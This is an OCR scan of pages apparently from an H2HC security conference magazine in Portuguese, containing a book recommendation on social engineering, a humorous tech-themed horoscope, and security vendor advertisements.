dessas duas formas de pensar pode ajudar em nossas
decisdes pessoais e profissionais.

Social Engineering: The Art of
Human Hacking” - Por Christo-
pher Hadnagy

“A maioria dos malwares e dos ataques
client-side possuem um componente de

‘ engenharia social para iludir o usudrio e
deixar os ‘caras malvados’ entrarem. Vocé pode corri-

gir vulnerabilidades técnicas, mas ndo existe corre¢ao
para a estupidez humana — melhor, para a ‘ingenui-
dade’ Chris mostrara como isso é feito, revelando as
técnicas de engenharia social aplicadas pelos invaso-
res de hoje. Seu livro vai ajudar vocé a conseguir um
melhor discernimento para reconhecer esses tipos de
ataques.” Kevin Mitnick

O livro possui 408 paginas e s6 possui edi¢do em in-
glés.




I FOTOS H2HC - ANTERIORES

IMAGENS CEDIDAS PELO PUBLICO
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Plutao, Saturno e Vénus em 6ti-
mos aspectos entre si trazem
as mudancgas necessarias para
uma maior estabilidade finan-
ceira, vocé encontrara um 0-day.

Seus relacionamentos estao
sendo formatados. Plutdo, Satur-
no e Vénus em 6timos aspectos
entre si prometem um relacio-
namento sem vulnerabilidades.
O amor pode ser instalado.

Plutdo, Saturno e Vénus em 6ti-
mos aspectos entre si vao atu-
alizar o seu sistema operacio-
nal. Caso esteja passando por
um problema de salde, troque

de servidor que tudo dara certo.

Seu anti-virusira detectar o amor.
Caso esteja sb, nao se esconda,
saia e divirta-se, pois um 6timo
aspecto entre Vénus, Satur-
no e Plutdo trard as atualiza-
¢cbes do seu software amoroso.

Um o6timo aspecto entre Vénus,
Saturno e Plutéo restaurara da-
dos emocionais mais profundos,
relacionados ao seu passado.
Caso um de seus pais tenha pas-
sado por problemas de saude,

este &€ um momento para se livrar deste malware.

5

Plutdo, Saturno e Vénus em 6ti-
mos aspectos entre si prometem
movimentar suas redes sociais.
Mas cuidado com suas senhas.

e
)
Y

Plutdo em Marte esta em con-
flito.Vocé passa por fases de
dificuldades com sua maquina,
resete sua BIOS e bons ventos

virao.

Saturno esta em conflito, man-
tenha se longe do windows, ris-
co de tela azul.

Nesta fase, muitas de suas
maquinas serdo transforma-
das, especialmente as que
envolvem  softwares  escol-
hidos no passado. O mo-
mento envolve também intro-

speccdo e preparacdo para novas pesquisas.

¥
A

Um aspecto confuso entre
Plutao, Saturno e Vénus Causara
conflitos, muitos bugs surgiréo.

Um aspecto confuso entre
Plutao, Saturno e Vénus Causara
conflitos, muitos bugs surgiréo.

Momento de muita atencdo em
sua vida, vocé esta sendo es-
pionado constantemente. Vocé
esta extremamente vulneravel,
pois foi ownado pela 2% vez.
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UnderProtection

INSPIRANDO CONFIANCA

www.underprotection.com.br
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Fight Back Against
Your Attackers with a

Custom Defense

Standard security products simply can't cope with the
custom nature of targeted attacks, not to mention their
dedicated perpetrators. The Trend Micro Custom Defense
arms you with a full spectrum of custom detection and
intelligence. By weaving your security infrastructure into a
tailored and adaptable defense, this unique solution equips
you to discover and rapidly respond to your attackers.

Learn more at www.trendmicro.com/apt
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